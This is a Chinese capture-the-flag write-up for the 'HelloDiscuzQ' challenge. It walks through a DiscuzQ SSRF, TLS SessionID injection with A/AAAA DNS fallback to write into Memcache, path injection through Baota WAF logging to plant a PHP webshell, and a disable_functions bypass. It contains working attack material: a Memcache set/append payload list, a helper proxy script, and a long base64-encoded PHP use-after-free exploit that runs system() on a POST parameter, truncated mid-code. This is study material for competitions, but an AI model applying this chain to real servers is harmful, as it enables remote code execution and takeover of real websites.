概述
之前看到研究院的同学写了一篇关于今年 Blackhat 议题的分析 https://mp.weixin.qq.com/s/GT3Wlu_2-Ycf_nhWz_z9Vw,对其中的原理比较感兴趣,但在复现时发现了一些问题。自己经过实验之后发现了一种新的利用方式。再结合自己之前在审计 DiscuzQ 代码时发现的一个 HTTP/HTTPS 的无回显SSRF 点结合宝塔的 WAF 所依赖的 Memcache 形成一套完整的题目,也算是该种新利用方式的复现环境了。
背景
何谓 SSRF
由此可见,我们可以利用 SSRF 漏洞来让服务器作为一个代理,让漏洞服务器去访问我们想让他访问的东西,即便这个东西是只有漏洞服务器本身能访问,例如与漏洞服务器同处一个内网的数据库等。
DNS Rebinding
简单来说,就是在请求时会先验证请求地址中的域名解析结果,如果为合法地址(例如外网地址)则发送出正式请求,否则就拒绝发出。
例如,在程序请求一个URL 时,程序会先提取出其中的 Host,判断其是否为外网地址,如果是则正式发出请求。
这里就最多存在两次 DNS 解析,一次是程序提取出 Host 进行的一次解析,第二次则是正式发出请求时会再做一次解析。
为什么说是最多存在两次呢,因为很多系统有 DNS 缓存,会依据请求的 TTL(Time To Live,存活时间,下同)进行缓存,例如这一个域名记录的 TTL 是 600 秒,第一次请求与第二次请求之间间隔不足 600 秒的话第二次请求就会直接用第一次请求的结果,那么这两者就当然是一样的了。
那么我们可不可以将这个时间设置为 0,在第一期请求时是一个结果,第二次再做请求时则再去请求一次,这一次请求则返回另外一个结果呢?大部分 DNS 服务商不会允许你将 TTL 设置为0,但如果你将 NS 设置为你自己的服务器之后再尝试做请求的话就可以返回 TTL 为 0 的结果,从而强制客户端请求两次解析,两次解析你服务端也可以控制返回不同的结果了。
TLS SSRF
我们可以利用 TLS 协议的 SNI (服务端名称指示)来进行 SSRF。原理为让服务器对外发出 TLS 包,里面含有我们想让其发送的东西。具体可以参见 https://news.ycombinator.com/item?id=17956285 ,但这种方式的局限性比较大,一个是我测试到的客户端(比如 curl 等等)都发不出这种请求。
关于 When TLS hacks You
结合上面提到的研究院小伙伴的文章以及 https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf 原议题的 PPT,我们可以发现一种新的攻击方式,即利用 TLS 中的 SessionID 结合 DNS 重绑定进行攻击。
大致流程如下:
- 利用服务器发起一个 HTTPS 请求。
- 请求时会发起一个 DNS 解析请求,DNS 服务器回应一个 TTL 为 0 的结果,指向攻击者的服务器。
- 攻击者服务器响应请求,并返回一个精心构造过的 SessionID,并延迟几秒后回应一个跳转。
- 客户端接收到这个回应之后会进行跳转,这次跳转时由于前面那一次 DNS 解析的结果为 TTL 0,则会再次发起一次解析请求,这次返回的结果则会指向 SSRF 攻击的目标(例如本地的数据库)。
- 因为请求和跳转时的域名都没有变更,本次跳转会带着之前服务端返回的精心构造过的 SessionID 进行,发送到目标的那个端口上。
- 则达到目的,成功对目标端口发送构造过的数据,成功 SSRF。
但在实际测试中,我们发现,当第一次请求完成之后,进行跳转时所发出的请求并不会再做一次解析请求,经过探究我们发现是因为这些客户端(例如 curl)中对 DNS 解析结果做了强制缓存,在第二次请求时直接使用第一次解析的结果,导致第二次应该按照 DNS TTL 0 的解析结果发出的第二次解析没有进行。
curl 如此,所有依赖 libcurl 的请求库亦然,那么对于这种情况我们应该如何进行攻击利用呢?
接下来以西湖论剑 2020 的一道 Web 题 HelloDiscuzQ 为例子,来介绍一下利用 A 记录和 AAAA 记录结合 TLS 进行 SSRF。
题目解析
题目名称
HelloDiscuzQ
复现地址
http://hellodiscuzq.xhlj.wetolink.com/
所涉及知识点
- 代码审计
- 新型 SSRF
- Lua 语言特性
- PHP bypass disable function
步骤
- 打开靶机,是 DiscuzQ 系统。
2. 那么就到官网下载代码审计下。
下载之后开始审计,发现其中在 app/Api/Controller/Analysis/ResourceAnalysisGoodsController.php 这里有一个 SSRF 点,根据输入地址的不同判断之后进入 guzzlehttp(底层调用 curl 相关函数) 和 file_get_contents 的请求分支。
结合前面的代码来看,虽然此处请求 URL 可控,但限制死了只允许访问 http 和 https 的地址,其他地址无法访问,file_get_contents 和 guzzlehttp 也无法跳转到 gopher 以及 file 等协议。
来调用这个 API 试试,这个 API 的地址是这个。
直接请求,要求验证。
那么就在网站上注册一个用户,尝试利用 https://discuz.com/api-docs/v1/Login.html 这里的接口登录一下获取凭证。
拷贝 access_token 到 Authorization 头,再对上面那个 API 发起请求让他去请求别的页面。
点击发送,就会发送请求到自己的 requestbin 上。
3.那么先利用 SSRF 来探测一下本地有什么服务。
本地其他未开放端口都会回显 Connection Refused。
但对于开放的端口,则是其他回显。
综合探测以及回显结果,可以发现 80,888,8888,3306,11211 端口开放。
判断有 http 服务器,mysql 服务器,memcache 服务器,且为宝塔面板搭建。
4.那么如何判断 HTTP 服务器的种类以及反向代理过去的 Host 呢?
看 HTTP 响应头?不行,因为那是反向代理的响应头。
那么就来访问一下一些特定的页面看看回显,比如,尝试把他的错误页面搞出来。
利用 SSRF 来访问 80 端口上 HTTP 服务器上的一些不存在文件看看。
有部分内容回显,根据这些综合比对 Apache,Nginx 等服务器的 404 页面确定为 Apache。
服务器类型有了,对于反向代理发过去宝塔的 Apache 的 Host 如何获取呢,我们可以通过反向代理访问 .htaccess 文件,看看后端返回的错误页面。
http://hellodiscuzq.xhlj.wetolink.com/.htaccess
从这个页面中除了可以获知服务器为 Apache 服务器之外,也可得知反向代理的主机头为 10.20.124.208。
5.再来测试一下是否有启用 WAF。
http://hellodiscuzq.xhlj.wetolink.com/pages/topic/index?id=2%20or%201=1
看到拦截页面,为宝塔 WAF。
结合上面看到的服务器为 Apache 服务器,推测此 WAF 为宝塔 Apache WAF,运行需要依赖 Memcache 服务器,所以解释了为什么会有 Memcache 服务器。
6.来审计一下宝塔 Apache WAF的代码看看。
看到 /www/server/btwaf/httpd.lua 宝塔 Apache WAF 的主文件。
看到 307 行的调用,作用为拦截之后记录到日志文件里。
追踪看 write_to_file 这个函数,看到其文件路径为拼接得来。
其中参与拼接的 server_name 为全局变量,在运行起始时有定义。
因为在宝塔中一个网站可以绑定多个域名,则在 get_server_name 函数中会先将请求的 Host 与缓存进行匹配,获取到最终是哪个网站,如果缓存中有则直接返回网站的主 Host。
7.那么我们就可以在缓存中写入一个恶意的主机名,使其拼接到路径中,造成任意文件写入。
且内容我们也同样可控,前面的 uri,ua 等写入内容我们均可控。
8.最终的攻击路径如下:
- SSRF 攻击 Memcache,将恶意的 Host 写入 Memcache。
- 使用恶意请求去访问网站,即可触发日志记录,拼接路径之后造成任意文件写入拿到权限。
9.首先是 SSRF 攻击 Memcache。
因为我们之前看到的是只允许访问 HTTP/HTTPS 的 SSRF 点,我们就要尝试利用 HTTPS 中 TLS 的 SessionID 去攻击 Memcache 进而写入我们想要的 Host。
预期写入的内容为
- key:10.20.124.208
- vaue: ../../wwwroot/10.20.124.208/public/a.php\x00(EOF)
路径可从自己安装的宝塔以及 DiscuzQ 中获得。
为什么会有一个 \x00 EOF 字符呢,因为在我们上面看到的代码中 server_name 位于字符串中间位置,前后还有内容,在 Lua 中我们可以利用 \x00 EOF 字符来截断它,从而让他准确地写入我们想要写入的命令。
那么写入 Memcache 的命令如何呢?
按理来说应该是
set 10.20.124.208
../../wwwroot/10.20.124.208/public/a.php\x00
但因为 SessionID 只能为 32 字节长,所以我们需要分段写入。
Memcache 中提供了追加写入的命令 append,我们可以利用这个来绕过长度的限制写入我们的路径。
最终我们的命令集如下。
session_id = [
"\nset 10.20.124.208 0 0 5\n../..\r\n",
"\nappend 10.20.124.208 0 0 2\n/w\r\n",
"\nappend 10.20.124.208 0 0 2\nww\r\n",
"\nappend 10.20.124.208 0 0 2\nro\r\n",
"\nappend 10.20.124.208 0 0 2\not\r\n",
"\nappend 10.20.124.208 0 0 2\n/1\r\n",
"\nappend 10.20.124.208 0 0 2\n0.\r\n",
"\nappend 10.20.124.208 0 0 2\n20\r\n",
"\nappend 10.20.124.208 0 0 2\n.1\r\n",
"\nappend 10.20.124.208 0 0 2\n24\r\n",
"\nappend 10.20.124.208 0 0 2\n.2\r\n",
"\nappend 10.20.124.208 0 0 2\n08\r\n",
"\nappend 10.20.124.208 0 0 2\n/p\r\n",
"\nappend 10.20.124.208 0 0 2\nub\r\n",
"\nappend 10.20.124.208 0 0 2\nli\r\n",
"\nappend 10.20.124.208 0 0 2\nc/\r\n",
"\nappend 10.20.124.208 0 0 2\na.\r\n",
"\nappend 10.20.124.208 0 0 2\nph\r\n",
"\nappend 10.20.124.208 0 0 2\np\x00\r\n",
]
前面都有 \n 后面也有 \r\n,标记 Memcache 命令的开始和结束。
那么如何让 SSRF 漏洞点每一次请求都会先请求我们的恶意 TLS 服务器,将这些 SessionID 拿到再去请求 Memcache 服务器。
那么这里就需要利用到 CURL 中一种特殊的请求行为了,也就是对同时具有 A 记录和 AAAA 记录的域名的解析行为。
在 CURL 中,对于一个域名,如果同时具有 A 记录和 AAAA 记录,那么 CURL 会去优先请求 AAAA 或者 A 记录所指向的地址,如果这些地址无法连接,则会尝试连接同时得到的 A 记录或者 AAAA 记录。
在某些情况下,会出现:
AAAA 记录地址不通,会连接到 A 记录地址上。
A记录地址不通,会连接到 AAAA 记录地址上。
例如,
第一个地址不通,则会尝试第二个地址。
那么我们可以这样做:
- 第一次让 CURL 去访问恶意的 HTTPS 服务器,拿到一个恶意的 SessionID
- 然后使恶意的 HTTPS 服务器无法接收新的连接
- 这时恶意的 HTTPS 给出第一次返回的结果,使其进行同域名跳转
- 跳转时会尝试进行新连接,发现恶意的HTTPS 服务器无法连接。
- 则会尝试连接这个域名下的其他记录所指向的地址,并带上 SessionID
成功将恶意的数据发送到我们想要的目标上。
那么来实际操作下。
首先将恶意的 HTTPS 服务器搭建起来,服务器源码在这里。
https://github.com/glzjin/tlslite-ng
tests 下直接运行 ./httpsserver.sh,自己复现注意替换证书等相关设置,证书自己申请。
然后我们还要让他连接一次以后无法被第二次连接,就搭建一个代理来完成,代理脚本如下:
# coding=utf-8
import socket
import threading
source_host = '127.0.0.1'
source_port = 11210
desc_host = '0.0.0.0'
desc_port = 11211
def send(sender, recver):
while 1:
try:
data = sender.recv(2048)
except:
break
print "recv error"
try:
recver.sendall(data)
except:
break
print "send error"
sender.close()
recver.close()
def proxy(client):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((source_host, source_port))
threading.Thread(target=send, args=(client, server)).start()
threading.Thread(target=send, args=(server, client)).start()
def main():
proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
proxy_server.bind((desc_host, desc_port))
proxy_server.listen(50)
print "Proxying from %s:%s to %s:%s ..."%(source_host, source_port, desc_host, desc_port)
conn, addr = proxy_server.accept()
print "received connect from %s:%s"%(addr[0], addr[1])
threading.Thread(target=proxy, args=(conn, )).start()
if __name__ == '__main__':
main()
代理 11211 端口到 11210 端口,直接 python 运行即可。
接下来别忘了将 A 记录 和 AAAA 记录给域名设置上。
AAAA 记录指向自己可以控制的恶意 HTTPS 服务器,A 记录指向 127.0.0.1。AAAA 记录值填写的虽然是 IPV6 的地址,但其实访问还是走的 IPV4 的通道,这类地址可通过 https://www.ultratools.com/tools/ipv4toipv6Result?address=120.92.217.158 得来。
这种应对的是 AAAA 记录优先的情况,如果出现 A 记录优先的情况请注意随机应变。
万事具备,那么就来试一试了。
触发 SSRF,可以看到其被请求之后拿到了恶意的 SessionID,之后就会带着这些数据去请求本地的 memcache 了。(如果没有请求到自己的服务器就多点几次)
然后再次把代理脚本跑起来。
继续请求。
继续写数据进去。
如此往复,直到把所有数据都写过去。
10.然后就可以用一个恶意请求触发 WAF 日志。
为了避免我们之后的代码被拦截,这里使用 base64 编码传输。
11. 尝试访问 a.php,可以看到文件已经成功写入。
http://hellodiscuzq.xhlj.wetolink.com/a.php
12.尝试执行一下 phpinfo 试试。
先将 phpinfo(); base64 编码。
然后发送出去。
13.简单看一下,有 disable_function 和 open_basedir,需要绕过。
PHP 版本为 7.4.10,则使用 https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/ 这里的脚本进行绕过。
将其编码为 base64。
IwojIFBIUCBTcGxEb3VibHlMaW5rZWRMaXN0OjpvZmZzZXRVbnNldCBVQUYKIyBDaGFybGVzIEZvbCAoQGNmcmVhbF8pCiMgMjAyMC0wOC0wNwojIFBIUCBpcyB2dWxuZXJhYmxlIGZyb20gNS4zIHRvIDguMCBhbHBoYQojIFRoaXMgZXhwbG9pdCBvbmx5IHRhcmdldHMgUEhQNysuCiMKIyBTcGxEb3VibHlMaW5rZWRMaXN0IGlzIGEgZG91Ymx5LWxpbmtlZCBsaXN0IChETEwpIHdoaWNoIHN1cHBvcnRzIGl0ZXJhdGlvbi4KIyBTYWlkIGl0ZXJhdGlvbiBpcyBkb25lIGJ5IGtlZXBpbmcgYSBwb2ludGVyIHRvIHRoZSAiY3VycmVudCIgRExMIGVsZW1lbnQuCiMgWW91IGNhbiB0aGVuIGNhbGwgbmV4dCgpIG9yIHByZXYoKSB0byBtYWtlIHRoZSBETEwgcG9pbnQgdG8gYW5vdGhlciBlbGVtZW50LgojIFdoZW4geW91IGRlbGV0ZSBhbiBlbGVtZW50IG9mIHRoZSBETEwsIFBIUCB3aWxsIHJlbW92ZSB0aGUgZWxlbWVudCBmcm9tIHRoZQojIERMTCwgdGhlbiBkZXN0cm95IHRoZSB6dmFsLCBhbmQgZmluYWxseSBjbGVhciB0aGUgY3VycmVudCBwdHIgaWYgaXQgcG9pbnRzCiMgdG8gdGhlIGVsZW1lbnQuIFRoZXJlZm9yZSwgd2hlbiB0aGUgenZhbCBpcyBkZXN0cm95ZWQsIGN1cnJlbnQgaXMgc3RpbGwKIyBwb2ludGluZyB0byB0aGUgYXNzb2NpYXRlZCBlbGVtZW50LCBldmVuIGlmIGl0IHdhcyByZW1vdmVkIGZyb20gdGhlIGxpc3QuCiMgVGhpcyBhbGxvd3MgZm9yIGFuIGVhc3kgVUFGLCBiZWNhdXNlIHlvdSBjYW4gY2FsbCAkZGxsLT5uZXh0KCkgb3IKIyAkZGxsLT5wcmV2KCkgaW4gdGhlIHp2YWwncyBkZXN0cnVjdG9yLgojICAKIwplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwpkZWZpbmUoJ05CX0RBTkdMSU5HJywgMjAwKTsKZGVmaW5lKCdTSVpFX0VMRU1fU1RSJywgNDAgLSAyNCAtIDEpOwpkZWZpbmUoJ1NUUl9NQVJLRVInLCAweGNmNWVhMSk7CmZ1bmN0aW9uIGkycygmJHMsICRwLCAkaSwgJHg9OCkKewogICAgZm9yKCRqPTA7JGo8JHg7JGorKykKICAgIHsKICAgICAgICAkc1skcCskal0gPSBjaHIoJGkgJiAweGZmKTsKICAgICAgICAkaSA+Pj0gODsKICAgIH0KfQpmdW5jdGlvbiBzMmkoJiRzLCAkcCwgJHg9OCkKewogICAgJGkgPSAwOwogICAgZm9yKCRqPSR4LTE7JGo+PTA7JGotLSkKICAgIHsKICAgICAgICAkaSA8PD0gODsKICAgICAgICAkaSB8PSBvcmQoJHNbJHArJGpdKTsKICAgIH0KICAgIHJldHVybiAkaTsKfQpjbGFzcyBVQUZUcmlnZ2VyCnsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIGdsb2JhbCAkZGxscywgJHN0cnMsICRyd19kbGwsICRmYWtlX2RsbF9lbGVtZW50LCAkbGVha2VkX3N0cl9vZmZzZXRzOwogICAgICAgICMicHJpbnQoJ1VBRiBfX2Rlc3RydWN0OiAnIC4gIlxuIik7CiAgICAgICAgJGRsbHNbTkJfREFOR0xJTkddLT5vZmZzZXRVbnNldCgwKTsKICAgICAgICAKICAgICAgICAjIEF0IHRoaXMgcG9pbnQgZXZlcnkgJGRsbC0+Y3VycmVudCBwb2ludHMgdG8gdGhlIHNhbWUgZnJlZWQgY2h1bmsuIFdlIGFsbG9jYXRlCiAgICAgICAgIyB0aGF0IGNodW5rIHdpdGggYSBzdHJpbmcsIGFuZCBmaWxsIHRoZSB6dmFsIHBhcnQKICAgICAgICAkZmFrZV9kbGxfZWxlbWVudCA9IHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJ0EnLCBTSVpFX0VMRU1fU1RSKSk7CiAgICAgICAgaTJzKCRmYWtlX2RsbF9lbGVtZW50LCAweDAwLCAweDEyMzQ1Njc4KTsgIyBwdHIKICAgICAgICBpMnMoJGZha2VfZGxsX2VsZW1lbnQsIDB4MDgsIDB4MDAwMDAwMDQsIDcpOyAjIHR5cGUgKyBvdGhlciBzdHVmZgogICAgICAgIAogICAgICAgICMgRWFjaCBvZiB0aGVzZSBkbGxzIGN1cnJlbnQtPm5leHQgcG9pbnRlcnMgcG9pbnQgdG8gdGhlIHNhbWUgbG9jYXRpb24sCiAgICAgICAgIyB0aGUgc3RyaW5nIHdlIGFsbG9jYXRlZC4gV2hlbiBjYWxsaW5nIG5leHQoKSwgb3VyIGZha2UgZWxlbWVudCBiZWNvbWVzCiAgICAgICAgIyB0aGUgY3VycmVudCB2YWx1ZSwgYW5kIGFzIHN1Y2ggaXRzIHJjIGlzIGluY3JlbWVudGVkLiBTaW5jZSByYyBpcyBhdAogICAgICAgICMgdGhlIHNhbWUgcGxhY2UgYXMgemVuZF9zdHJpbmcubGVuLCB0aGUgbGVuZ3RoIG9mIHRoZSBzdHJpbmcgZ2V0cyBiaWdnZXIsCiAgICAgICAgIyBhbGxvd2luZyB0byBSL1cgYW55IHBhcnQgb2YgdGhlIGZvbGxvd2luZyBtZW1vcnkKICAgICAgICBmb3IoJGkgPSAwOyAkaSA8PSBOQl9EQU5HTElORzsgJGkrKykKICAgICAgICAgICAgJGRsbHNbJGldLT5uZXh0KCk7CiAgICAgICAgaWYoc3RybGVuKCRmYWtlX2RsbF9lbGVtZW50KSA8PSBTSVpFX0VMRU1fU1RSKQogICAgICAgICAgICBkaWUoJ0V4cGxvaXQgZmFpbGVkOiBmYWtlX2RsbF9lbGVtZW50IGRpZCBub3QgaW5jcmVhc2UgaW4gc2l6ZScpOwogICAgICAgIAogICAgICAgICRsZWFrZWRfc3RyX29mZnNldHMgPSBbXTsKICAgICAgICAkbGVha2VkX3N0cl96dmFsID0gW107CiAgICAgICAgIyBJbiB0aGUgbWVtb3J5IGFmdGVyIG91ciBmYWtlIGVsZW1lbnQsIHRoYXQgd2UgY2FuIG5vdyByZWFkIGFuZCB3cml0ZSwKICAgICAgICAjIHRoZXJlIGFyZSBsb3RzIG9mIHplbmRfc3RyaW5nIGNodW5rcyB0aGF0IHdlIGFsbG9jYXRlZC4gV2Uga2VlcCB0aHJlZSwKICAgICAgICAjIGFuZCB3ZSBrZWVwIHRyYWNrIG9mIHRoZWlyIG9mZnNldHMuCiAgICAgICAgZm9yKCRvZmZzZXQgPSBTSVpFX0VMRU1fU1RSICsgMTsgJG9mZnNldCA8PSBzdHJsZW4oJGZha2VfZGxsX2VsZW1lbnQpIC0gNDA7ICRvZmZzZXQgKz0gNDApCiAgICAgICAgewogICAgICAgICAgICAjIElmIHdlIGZpbmQgYSBzdHJpbmcgbWFya2VyLCBwdWxsIGl0IGZyb20gdGhlIHN0cmluZyBsaXN0CiAgICAgICAgICAgIGlmKHMyaSgkZmFrZV9kbGxfZWxlbWVudCwgJG9mZnNldCArIDB4MTgpID09IFNUUl9NQVJLRVIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRsZWFrZWRfc3RyX29mZnNldHNbXSA9ICRvZmZzZXQ7CiAgICAgICAgICAgICAgICAkbGVha2VkX3N0cl96dmFsW10gPSAkc3Ryc1tzMmkoJGZha2VfZGxsX2VsZW1lbnQsICRvZmZzZXQgKyAweDIwKV07CiAgICAgICAgICAgICAgICBpZihjb3VudCgkbGVha2VkX3N0cl96dmFsKSA9PSAzKQogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKGNvdW50KCRsZWFrZWRfc3RyX3p2YWwpICE9IDMpCiAgICAgICAgICAgIGRpZSgnRXhwbG9pdCBmYWlsZWQ6IHVuYWJsZSB0byBsZWFrIHRocmVlIHplbmRfc3RyaW5ncycpOwogICAgICAgIAogICAgICAgICMgZnJlZSB0aGUgc3RyaW5ncywgZXhjZXB0IHRoZSB0aHJlZSB3ZSBuZWVkCiAgICAgICAgJHN0cnMgPSBudWxsOwogICAgICAgICMgTGVhayBhZHJlc3Mgb2YgZmlyc3QgY2h1bmsKICAgICAgICB1bnNldCgkbGVha2VkX3N0cl96dmFsWzBdKTsKICAgICAgICB1bnNldCgkbGVha2VkX3N0cl96dmFsWzFdKTsKICAgICAgICB1bnNldCgkbGVha2VkX3N0cl96dmFsWzJdKTsKICAgICAgICAkZmlyc3RfY2h1bmtfYWRkciA9IHMyaSgkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1sxXSk7CiAgICAgICAgIyBBdCB0aGlzIHBvaW50IHdlIGhhdmUgMyBmcmVlZCBjaHVua3Mgb2Ygc2l6ZSA0MCwgd2hpY2ggd2UgY2FuIHJlYWQvd3JpdGUsCiAgICAgICAgIyBhbmQgd2Uga25vdyB0aGVpciBhZGRyZXNzLgogICAgICAgIHByaW50KCdBZGRyZXNzIG9mIGZpcnN0IFJXIGNodW5rOiAweCcgLiBkZWNoZXgoJGZpcnN0X2NodW5rX2FkZHIpIC4gIlxuIik7CiAgICAgICAgIyBJbiB0aGUgdGhpcmQgb25lLCB3ZSB3aWxsIGFsbG9jYXRlIGEgRExMIGVsZW1lbnQgd2hpY2ggcG9pbnRzIHRvIGEgemVuZF9hcnJheQogICAgICAgICRyd19kbGwtPnB1c2goWzNdKTsKICAgICAgICAkYXJyYXlfYWRkciA9IHMyaSgkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1syXSArIDB4MTgpOwogICAgICAgICMgQ2hhbmdlIHRoZSB6dmFsIHR5cGUgZnJvbSB6ZW5kX29iamVjdCB0byB6ZW5kX3N0cmluZwogICAgICAgIGkycygkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1syXSArIDB4MjAsIDB4MDAwMDAwMDYpOwogICAgICAgIGlmKGdldHR5cGUoJHJ3X2RsbFswXSkgIT0gJ3N0cmluZycpCiAgICAgICAgICAgIGRpZSgnRXhwbG9pdCBmYWlsZWQ6IFVuYWJsZSB0byBjaGFuZ2UgemVuZF9hcnJheSB0byB6ZW5kX3N0cmluZycpOwogICAgICAgIAogICAgICAgICMgV2UgY2FuIG5vdyByZWFkIGFueXRoaW5nOiBpZiB3ZSB3YW50IHRvIHJlYWQgMHgxMTIyMzMwMCwgd2UgbWFrZSB6ZW5kX3N0cmluZyoKICAgICAgICAjIHBvaW50IHRvIDB4MTEyMjMzMDAtMHgxMCwgYW5kIHJlYWQgaXRzIHNpemUgdXNpbmcgc3RybGVuKCkKICAgICAgICAjIFJlYWQgemVuZF9hcnJheS0+cERlc3RydWN0b3IKICAgICAgICAkenZhbF9wdHJfZHRvcl9hZGRyID0gcmVhZCgkYXJyYXlfYWRkciArIDB4MzApOwogICAgCiAgICAgICAgcHJpbnQoJ0xlYWtlZCB6dmFsX3B0cl9kdG9yIGFkZHJlc3M6IDB4JyAuIGRlY2hleCgkenZhbF9wdHJfZHRvcl9hZGRyKSAuICJcbiIpOwogICAgICAgICMgVXNlIGl0IHRvIGZpbmQgemlmX3N5c3RlbQogICAgICAgICRzeXN0ZW1fYWRkciA9IGdldF9zeXN0ZW1fYWRkcmVzcygkenZhbF9wdHJfZHRvcl9hZGRyKTsKICAgICAgICBwcmludCgnR290IFBIUF9GVU5DVElPTihzeXN0ZW0pOiAweCcgLiBkZWNoZXgoJHN5c3RlbV9hZGRyKSAuICJcbiIpOwogICAgICAgIAogICAgICAgICMgSW4gdGhlIHNlY29uZCBmcmVlZCBibG9jaywgd2UgY3JlYXRlIGEgY2xvc3VyZSBhbmQgY29weSB0aGUgemVuZF9jbG9zdXJlIHN0cnVjdAogICAgICAgICMgdG8gYSBzdHJpbmcKICAgICAgICAkcndfZGxsLT5wdXNoKGZ1bmN0aW9uICgkeCkge30pOwogICAgICAgICRjbG9zdXJlX2FkZHIgPSBzMmkoJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHNbMV0gKyAweDE4KTsKICAgICAgICAkZGF0YSA9IHN0cl9zaHVmZmxlKHN0cl9yZXBlYXQoJ0EnLCAweDIwMCkpOwogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMzg7ICRpICs9IDgpCiAgICAgICAgewogICAgICAgICAgICBpMnMoJGRhdGEsICRpLCByZWFkKCRjbG9zdXJlX2FkZHIgKyAkaSkpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAjIENoYW5nZSBpbnRlcm5hbCBmdW5jIHR5cGUgYW5kIHBvaW50ZXIgdG8gbWFrZSB0aGUgY2xvc3VyZSBleGVjdXRlIHN5c3RlbSBpbnN0ZWFkCiAgICAgICAgaTJzKCRkYXRhLCAweDM4LCAxLCA0KTsKICAgICAgICBpMnMoJGRhdGEsIDB4NjgsICRzeXN0ZW1fYWRkcik7CiAgICAgICAgCiAgICAgICAgIyBQdXNoIG91ciBzdHJpbmcsIHdoaWNoIGNvbnRhaW5zIGEgZmFrZSB6ZW5kX2Nsb3N1cmUsIGluIHRoZSBsYXN0IGZyZWVkIGNodW5rIHRoYXQKICAgICAgICAjIHdlIGNvbnRyb2wsIGFuZCBtYWtlIHRoZSBzZWNvbmQgenZhbCBwb2ludCB0byBpdC4KICAgICAgICAkcndfZGxsLT5wdXNoKCRkYXRhKTsKICAgICAgICAkZmFrZV96ZW5kX2Nsb3N1cmUgPSBzMmkoJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHNbMF0gKyAweDE4KSArIDI0OwogICAgICAgIGkycygkZmFrZV9kbGxfZWxlbWVudCwgJGxlYWtlZF9zdHJfb2Zmc2V0c1sxXSArIDB4MTgsICRmYWtlX3plbmRfY2xvc3VyZSk7CiAgICAgICAgcHJpbnQoJ1JlcGxhY2VkIHplbmRfY2xvc3VyZSBieSB0aGUgZmFrZSBvbmU6IDB4JyAuIGRlY2hleCgkZmFrZV96ZW5kX2Nsb3N1cmUpIC4gIlxuIik7CiAgICAgICAgCiAgICAgICAgIyBDYWxsaW5nIGl0IG5vdwogICAgICAgIAogICAgICAgIHByaW50KCdSdW5uaW5nIHN5c3RlbSgiJy4kX1BPU1RbY21kXS4nIik7JyAuICJcbiIpOwogICAgICAgICRyd19kbGxbMV0oJF9QT1NUW2NtZF0pOwogICAgICAgIHByaW50X3IoJ0RPTkUnLiJcbiIpOwogICAgfQp9CmNsYXNzIERhbmdsaW5nVHJpZ2dlcgp7CiAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkaSkKICAgIHsKICAgICAgICAkdGhpcy0+aSA9ICRpOwogICAgfQogICAgZnVuY3Rpb24gX19kZXN0cnVjdCgpCiAgICB7CiAgICAgICAgZ2xvYmFsICRkbGxzOwogICAgICAgICNEIHByaW50KCdfX2Rlc3RydWN0OiAnIC4gJHRoaXMtPmkgLiAiXG4iKTsKICAgICAgICAkZGxsc1skdGhpcy0+aV0tPm9mZnNldFVuc2V0KDApOwogICAgICAgICRkbGxzWyR0aGlzLT5pKzFdLT5wdXNoKDEyMyk7CiAgICAgICAgJGRsbHNbJHRoaXMtPmkrMV0tPm9mZnNldFVuc2V0KDApOwogICAgfQp9CmNsYXNzIFN5c3RlbUV4ZWN1dG9yIGV4dGVuZHMgQXJyYXlPYmplY3QKewogICAgZnVuY3Rpb24gb2Zmc2V0R2V0KCR4KQogICAgewogICAgICAgIHBhcmVudDo6b2Zmc2V0R2V0KCR4KTsKICAgIH0KfQovKioKICogUmVhZHMgYW4gYXJiaXRyYXJ5IGFkZHJlc3MgYnkgY2hhbmdpbmcgYSB6dmFsIHRvIHBvaW50IHRvIHRoZSBhZGRyZXNzIG1pbnVzIDB4MTAsCiAqIGFuZCBzZXR0aW5nIGl0cyB0eXBlIHRvIHplbmRfc3RyaW5nLCBzbyB0aGF0IHplbmRfc3RyaW5nLT5sZW4gcG9pbnRzIHRvIHRoZSB2YWx1ZQogKiB3ZSB3YW50IHRvIHJlYWQuCiAqLwpmdW5jdGlvbiByZWFkKCRhZGRyLCAkcz04KQp7CiAgICBnbG9iYWwgJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHMsICRyd19kbGw7CiAgICBpMnMoJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHNbMl0gKyAweDE4LCAkYWRkciAtIDB4MTApOwogICAgaTJzKCRmYWtlX2RsbF9lbGVtZW50LCAkbGVha2VkX3N0cl9vZmZzZXRzWzJdICsgMHgyMCwgMHgwMDAwMDAwNik7CiAgICAkdmFsdWUgPSBzdHJsZW4oJHJ3X2RsbFswXSk7CiAgICBpZigkcyAhPSA4KQogICAgICAgICR2YWx1ZSAmPSAoMSA8PCAoJHMgPDwgMykpIC0gMTsKICAgIHJldHVybiAkdmFsdWU7Cn0KZnVuY3Rpb24gZ2V0X2JpbmFyeV9iYXNlKCRiaW5hcnlfbGVhaykKewogICAgJGJhc2UgPSAwOwogICAgJHN0YXJ0ID0gJGJpbmFyeV9sZWFrICYgMHhmZmZmZmZmZmZmZmZmMDAwOwogICAgZm9yKCRpID0gMDsgJGkgPCAweDEwMDA7ICRpKyspCiAgICB7CiAgICAgICAgJGFkZHIgPSAkc3RhcnQgLSAweDEwMDAgKiAkaTsK